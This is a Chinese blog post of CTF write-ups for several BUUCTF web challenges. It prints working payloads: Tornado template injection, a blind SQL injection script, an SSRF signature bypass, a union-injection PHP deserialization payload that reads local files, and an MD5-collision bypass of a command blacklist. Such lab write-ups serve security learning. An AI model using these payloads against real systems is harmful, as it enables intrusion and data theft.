BUUCTF Web Writeup Part1 <简单部分>

BUUCTF Web Part1

[护网杯 2018]easy_tornado

进去给了三个页面,并提示flagflag in /fllllllllllllag

显然要找到任意文件读取处,又在hint中看到md5(cookie_secret+md5(filename))。url有一个filehash,应该就是这个算法。

还有一个错误页面,url有msg=ERROR,修改了一下发现页面也改变,猜测有Render,尝试模板注入。

输入

{{handler.settings}}

可以查看tornado的一些参数,包括cookie_secret。

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '5e8306b3-7ae1-45b4-9116-d0fe4c02eacd'} 

然后读取文件就可以了。

db6fc544-8be8-4438-9c50-638366f85ec33bf9f6cf685a6dd8defadabfb41a03a1
做个md5

flag{44fc3be2-b981-4e3e-addb-65fd6fca1759}

[CISCN2019 华北赛区 Day2 Web1]Hack World

给了个sql让你注入。过滤了以下内容:

空格 and # 等等

直接用sleep盲注,套路这样子:如果猜对了就造成一秒延迟

sleep((select(flag)from(flag)where(flag)like('f%'))like('f%'))

于是可以编写Python脚本了(老套路。

import requests

def timeblind(url):
    flag = 'flag{'
    while True:
        find = False
        for i in '0123456789abcdefghijklmnopqrstuvwxyz{}_': #字母表
            #盲注语句
            data = {'id':"sleep((select(flag)from(flag)where(flag)like('f%'))like('{i}%'))".format(i=flag+i)}
            print(data)
            try:
                requests.post(url=url,data=data,timeout=1)
            except:
                flag=flag+i
                print('[*]%s'%flag)
                find = True
                break
        if i=='}':
            break
        #防止找错
        if not find:
            flag = flag[0:-1]
    print('[+]%s'%flag)

url = 'http://d53059c8-8795-4474-bdea-e66790292e91.node3.buuoj.cn/index.php'
timeblind(url)

flag{5957e413_b9a1_439f_8a23_28a749be15dc}

[De1CTF 2019]SSRF Me

Hint: flag is in ./flag.txt

SSRF,以服务器做跳板访问敏感文件。首先题目给出了源码

#初始化语句

app = Flask(__name__)
secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"
      
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

审计可知,我们可以通过scan函数获取任意文件(即flag.txt),但是要满足:

getSign(self.action, self.param) == self.sign

其中:
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))

action可以是scan和read,只有read in self.action才能读取数据

而函数getSign有一个我们不知道的secret_key
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
  
还有一个获得sign的方法,但这个action是scan
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
  

注意到代码这里判断有漏洞。 read in self.action的判断,不能保证self.action就是read,只要包含read即可。于是把这些限制条件放在一起,构造:

  xxx + param + action (getSign)
  xxx + param + scan  (geneSign)
  相等
  
  xxx + flag.txt + readscan == xxx + flag.txtread + scan  就满足了。

于是在geneSign中,param=flag.txtread,获得md5 0c1e730e3608cfbe60ca3d25eeb72e34

再在挑战中把相应的action和sign写好,就可以获得flag了。

flag{01fdf84a-9c71-433e-8740-3f8b1920905e}

[网鼎杯 2018]Fakebook

扫描了一下目录,发现备份文件,想要利用curl但是输入有waf。

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
        return $output;
    }

    public function getBlogContents ()
    {return $this->get($this->blog);}

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}

黑盒测试发现了get和post的注入点。post注入在注册页面,用BurpSuite抓包放到sqlmap里面dump了数据库,发现存储的是php的反序列化。

从get这个注入点输入数据,绕过waf直接使用curl。

首先用order by 测试字段数。

然后union测试下每个字段都存储了什么(实际上dump的时候已经知道了)

/view.php?no=0/**/union/**/select 1,2,3,4

发现4处应该拥有一个反序列化字段,于是就可以构造

/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

这样子通过干涉数据库返回的结果,进行了SSRF。

flag{3d7eede2-28fc-4421-8e7e-46a079f0fd37}

[安洵杯 2019]easy_web

这道题告诉我们,遇到可疑的参数一定要多试探试探

上来只给了一个页面,有一个cmd和img参数。测试了cat,ls等一些命令,有的回显forbid,有的回显md5 is funny。

img很像base64,两次b64解密一次hex解密得到555.png,于是尝试文件包含漏洞。

用index.php加密后包含,把返回的字串再解密,获得php内容

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

是一个md5碰撞,随便找一个(注意post的时候要在参数里面写,不能直接粘贴)

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

cmd用base64命令就可以绕过了。

image

flag{decd145e-ca34-4623-b75a-a9c07b4f3b94}

[极客大挑战 2019]BuyFlag

pay.php页面发现了注释隐藏代码

~~~post money and password~~~
if (isset($_POST['password'])) {
    $password = $_POST['password'];
    if (is_numeric($password)) {
        echo "password can't be number</br>";
    }elseif ($password == 404) {
        echo "Password Right!</br>";
    }
}

首先把cookie的user=0改成1试试

然后利用弱类型比较,password传入404s就可以了

接下来还让你pay for flag。没有什么线索,post一个money=100000000试试,结果输入这个数字就过长,小于这个数就不够。十六进制也不好使,说明不是用大于号判断的。

可能是判断了位数,或者strcmp了一下。传入一个数组money[]=0试试,成功拿到flag

flag{eb549aa7-5a6f-4c07-9d2e-6d50299c15bc}

[极客大挑战 2019]Http

这道题告诉我们,可以在源代码里面搜索.php的文件,说不定就在注释中发现了呢

首先扫了一通,没发现什么有用的东西。。。看了下提示,发现在源代码中找到了一个Secret.php,可以跳转!

于是进去,要求改referer.

referer: https://www.Sycsecret.com

改完之后,有要求用规定浏览器。

User-Agent: Syclover

接下来提示No!!! you can only read this locally!!!

X-Forwarded-For: 127.0.0.1

就可以了。

flag{a188def4-715f-4370-b999-e1b5b3e3b009}

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,293评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,604评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,958评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,729评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,719评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,630评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,000评论 3 397
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,665评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,909评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,646评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,726评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,400评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,986评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,959评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,996评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,481评论 2 342

推荐阅读更多精彩内容